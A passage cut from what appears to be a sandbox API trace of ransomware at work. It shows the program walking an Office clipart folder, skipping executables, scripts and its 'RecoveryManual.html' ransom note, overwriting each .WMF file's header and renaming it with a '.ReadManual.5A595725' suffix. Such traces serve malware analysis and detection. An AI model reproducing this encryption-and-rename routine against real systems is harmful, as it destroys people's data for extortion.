(psz1="WMF", psz2="ps1") returned 1 [0260.689] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.689] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.689] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.689] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.689] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" [0260.690] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.ReadManual.5A595725" [0260.690] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.ReadManual.5A595725") returned 87 [0260.690] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38135836640) returned 1 [0260.690] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x20 [0260.690] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.690] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1516) returned 1 [0260.690] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5ec, lpName=0x0) returned 0x184 [0260.690] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.691] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.691] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.692] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.693] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5ec) returned 0x2f0000 [0260.693] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.693] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38136149993) returned 1 [0260.693] CloseHandle (hObject=0x184) returned 1 [0260.693] SetSecurityInfo () returned 0x57 [0260.693] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.693] CloseHandle (hObject=0x194) returned 1 [0260.694] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a72500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a72500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0260.694] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00194_.WMF" | out: lpString1="BL00194_.WMF") returned="BL00194_.WMF" [0260.694] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.694] StrStrIW (lpFirst="BL00194_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.694] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.694] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.694] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.694] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.694] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.694] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.694] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.694] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.694] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.694] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.694] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.694] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.694] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.694] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.694] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" [0260.694] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.ReadManual.5A595725" [0260.694] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.ReadManual.5A595725") returned 87 [0260.694] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38136292051) returned 1 [0260.694] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x20 [0260.694] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.695] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3986) returned 1 [0260.695] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf92, lpName=0x0) returned 0x184 [0260.695] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.695] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.695] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.697] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.697] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf92) returned 0x2f0000 [0260.698] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.698] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38136642084) returned 1 [0260.698] CloseHandle (hObject=0x184) returned 1 [0260.698] SetSecurityInfo () returned 0x57 [0260.698] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.698] CloseHandle (hObject=0x194) returned 1 [0260.698] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81632800, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81632800, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0260.699] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00195_.WMF" | out: lpString1="BL00195_.WMF") returned="BL00195_.WMF" [0260.699] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.699] StrStrIW (lpFirst="BL00195_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.699] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.699] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.699] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.699] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.699] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.699] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.699] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.699] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.699] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.699] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.699] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.699] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.699] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.699] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.699] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" [0260.699] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.ReadManual.5A595725" [0260.699] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.ReadManual.5A595725") returned 87 [0260.699] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38136787586) returned 1 [0260.699] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x20 [0260.700] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.700] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8070) returned 1 [0260.700] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f86, lpName=0x0) returned 0x184 [0260.700] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.701] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.701] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.703] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.703] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f86) returned 0x2f0000 [0260.703] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.703] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38137211097) returned 1 [0260.703] CloseHandle (hObject=0x184) returned 1 [0260.703] SetSecurityInfo () returned 0x57 [0260.704] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.704] CloseHandle (hObject=0x194) returned 1 [0260.704] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81891500, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81891500, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0260.704] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00234_.WMF" | out: lpString1="BL00234_.WMF") returned="BL00234_.WMF" [0260.704] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.704] StrStrIW (lpFirst="BL00234_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.704] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.704] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.704] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.704] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.704] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.705] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.705] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.705] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.705] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.705] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.705] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.705] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.705] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.705] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.705] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" [0260.705] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.ReadManual.5A595725" [0260.705] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.ReadManual.5A595725") returned 87 [0260.705] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38137368422) returned 1 [0260.705] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x20 [0260.705] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.705] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9304) returned 1 [0260.705] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2458, lpName=0x0) returned 0x184 [0260.705] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.706] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.706] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.708] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.708] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2458) returned 0x2f0000 [0260.708] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.708] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38137699502) returned 1 [0260.708] CloseHandle (hObject=0x184) returned 1 [0260.708] SetSecurityInfo () returned 0x57 [0260.708] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.708] CloseHandle (hObject=0x194) returned 1 [0260.709] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9438d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9438d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0260.709] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00242_.WMF" | out: lpString1="BL00242_.WMF") returned="BL00242_.WMF" [0260.709] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.709] StrStrIW (lpFirst="BL00242_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.709] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.709] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.709] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.709] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.709] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.709] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.709] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.709] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.709] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.710] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.710] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.710] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.710] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.710] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.710] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" [0260.710] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.ReadManual.5A595725" [0260.710] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.ReadManual.5A595725") returned 87 [0260.710] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38137853126) returned 1 [0260.710] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x20 [0260.710] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.710] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4024) returned 1 [0260.710] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfb8, lpName=0x0) returned 0x184 [0260.710] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.722] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.722] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.724] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.724] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfb8) returned 0x2f0000 [0260.724] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.724] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38139295347) returned 1 [0260.724] CloseHandle (hObject=0x184) returned 1 [0260.724] SetSecurityInfo () returned 0x57 [0260.724] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.724] CloseHandle (hObject=0x194) returned 1 [0260.725] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5124300, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5124300, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0260.725] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00247_.WMF" | out: lpString1="BL00247_.WMF") returned="BL00247_.WMF" [0260.725] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.725] StrStrIW (lpFirst="BL00247_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.725] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.725] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.725] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.725] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.725] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.725] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.725] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.725] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.725] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.725] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.725] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.725] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.726] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.726] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.726] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" [0260.726] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.ReadManual.5A595725" [0260.726] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.ReadManual.5A595725") returned 87 [0260.726] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38139444459) returned 1 [0260.726] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x20 [0260.726] CreateFileW 